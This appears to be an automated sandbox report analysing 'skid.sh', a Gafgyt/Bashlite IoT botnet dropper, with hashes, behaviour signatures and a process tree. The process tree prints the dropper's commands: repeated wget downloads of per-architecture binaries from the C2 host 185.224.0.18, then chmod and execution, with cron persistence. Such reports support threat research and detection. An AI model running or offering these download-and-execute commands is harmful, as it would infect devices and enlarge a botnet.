Analysis
-
max time kernel
14s -
max time network
129s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240508-en -
resource tags
-
submitted
26/02/2025, 16:58
General
-
Target
skid.sh
-
Size
1KB
-
MD5
b748ad8311eb181303f9c59d1efd764f
-
SHA1
e3da904334e7ed388ef2ccca048c7a0e50e4332b
-
SHA256
32e82081fe66e5f77000ecc3fde85384723a93ab7b242f39de6621d5959d38bf
-
SHA512
b34853c0dac00b278c10e3019751634603099ce87125824a278e90d978560449ffc34c6af404134928be3d413979934d61aa5003fe1f826f980c2908449c7da5
Score
10/10
Malware Config
Extracted
Family
gafgyt
C2
185.224.0.18:1111
Signatures
-
Detected Gafgyt variant 2 IoCs
-
Gafgyt family
-
Gafgyt/Bashlite
IoT botnet with numerous variants first seen in 2014.
-
File and Directory Permissions Modification 1 TTPs 8 IoCs
Adversaries may modify file or directory permissions to evade defenses.
-
Executes dropped EXE 41 IoCs
-
Creates/modifies Cron job 1 TTPs 41 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
-
Writes file to system bin folder 1 IoCs
-
Reads runtime system information 42 IoCs
Reads data from /proc virtual filesystem.
-
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
-
Writes file to tmp directory 50 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/skid.sh/tmp/skid.sh1⤵
-
/usr/bin/wgetwget http://185.224.0.18/skid.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/bin/chmodchmod +x skid.mips2⤵
- File and Directory Permissions Modification
-
-
/tmp/skid.mips./skid.mips2⤵
- System Network Configuration Discovery
-
-
/bin/rmrm -rf skid.mips2⤵
- System Network Configuration Discovery
-
-
/usr/bin/wgetwget http://185.224.0.18/skid.mpsl2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x skid.mpsl2⤵
- File and Directory Permissions Modification
-
-
/tmp/skid.mpsl./skid.mpsl2⤵
-
-
/bin/rmrm -rf skid.mpsl2⤵
-
-
/usr/bin/wgetwget http://185.224.0.18/skid.x862⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x skid.x862⤵
- File and Directory Permissions Modification
-
-
/tmp/skid.x86./skid.x862⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to system bin folder
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filexZSvKR./skid.x863⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filezAlEEw./skid.x864⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileCxG8MQ./skid.x865⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filemkOjV2./skid.x866⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/file9w1fhs./skid.x867⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/file8A10yO./skid.x868⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileYzmfO3./skid.x869⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filez2EwYo./skid.x8610⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filem7c6NN./skid.x8611⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/file8V0F51./skid.x8612⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filelc7GCo./skid.x8613⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileos0msO./skid.x8614⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filedODZ66./skid.x8615⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filez7fGPk./skid.x8616⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileKJrmAL./skid.x8617⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filerbcNz7./skid.x8618⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileLCiUkk./skid.x8619⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileA7UqGK./skid.x8620⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileBIyk25./skid.x8621⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filePzhTDn./skid.x8622⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileeasv3J./skid.x8623⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filefv8z46./skid.x8624⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filek8Li2h./skid.x8625⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileih7yvo./skid.x8626⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileTb4MaE./skid.x8627⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filewtyE0T./skid.x8628⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileBa7Ek8./skid.x8629⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileEOmw3m./skid.x8630⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileQTTGhw./skid.x8631⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileVd0F0L./skid.x8632⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileSQJ4K0./skid.x8633⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileRbta6e./skid.x8634⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/file6QeTyu./skid.x8635⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filekAGRrB./skid.x8636⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileBttDKP./skid.x8637⤵
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
/bin/rmrm -rf skid.x862⤵
-
-
/usr/bin/wgetwget http://185.224.0.18/skid.ppc2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x skid.ppc2⤵
- File and Directory Permissions Modification
-
-
/tmp/skid.ppc./skid.ppc2⤵
-
-
/bin/rmrm -rf skid.ppc2⤵
-
-
/usr/bin/wgetwget http://185.224.0.18/skid.sparc2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x skid.sparc2⤵
- File and Directory Permissions Modification
-
-
/tmp/skid.sparc./skid.sparc2⤵
-
-
/bin/rmrm -rf skid.sparc2⤵
-
-
/usr/bin/wgetwget http://185.224.0.18/skid.arm42⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x skid.arm42⤵
- File and Directory Permissions Modification
-
-
/tmp/skid.arm4./skid.arm42⤵
-
-
/bin/rmrm -rf skid.arm42⤵
-
-
/usr/bin/wgetwget http://185.224.0.18/skid.arm52⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x skid.arm52⤵
- File and Directory Permissions Modification
-
-
/tmp/skid.arm5./skid.arm52⤵
-
-
/bin/rmrm -rf skid.arm52⤵
-
-
/usr/bin/wgetwget http://185.224.0.18/skid.arm62⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x skid.arm62⤵
- File and Directory Permissions Modification
-
-
/tmp/skid.arm6./skid.arm62⤵
-
-
/bin/rmrm -rf skid.arm62⤵
-
-
/tmp/fileEw3VlA./skid.x861⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileZzAgeQ./skid.x862⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filekLCyR4./skid.x863⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filePQX4Lk./skid.x864⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileCASmPz./skid.x865⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileqmgN0B./skid.x866⤵
- Reads runtime system information
- Writes file to tmp directory
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
92B
MD53f006f7f81fc17be7f4a0d3da0fad5de
SHA197a94d3d0654c6551057af3809b52572bd7f9f5d
SHA256982f9e0f089b91ba79df723435099df15c72e1201a45010ee60226ab136c93bf
SHA51297d2ac0057427b940ada7c0fc805c1966e2535c3c3767ca85fef4a7e0fdc9d4ef9eb133530408b1e439df067881cb317e948ad9bfd487e958a04c97d9db978e0
-
Filesize
90KB
MD54bc8168b8c378af3bfae2f24d97b9b6c
SHA1fd44443b2cd003a2f730f1dc7a9d6fb0e5839eab
SHA2566a55b599795d69cb14091be61447efef93b8b809904a2955f893c4424158b74e
SHA5121c69ba6d6f12cf52bcfa0e2df1845a4ef29a5cb488e56869350ef78ad3b18cd7ac2a3dce6c7701c03d7a2aebb3f59a1977b8191fe655db847d831b160b6338bf
-
Filesize
98KB
MD585f9548e1bd7afd130a1e2b851b41da8
SHA175c285684ec3964eb9bf3f4122e48c38f0ae11b8
SHA256c8e23dad72cec959fc3a9fd530bf839ca04bb3f7e433364e5aabf62160ee4da9
SHA5123f072cbf2ce940eecccb22eecfded787fd29f7a0828c6732c679a1769399ca7611d2ea201cbf37994efa40b0a2136aba50c8d760ed1e4f283a64f173ba23a576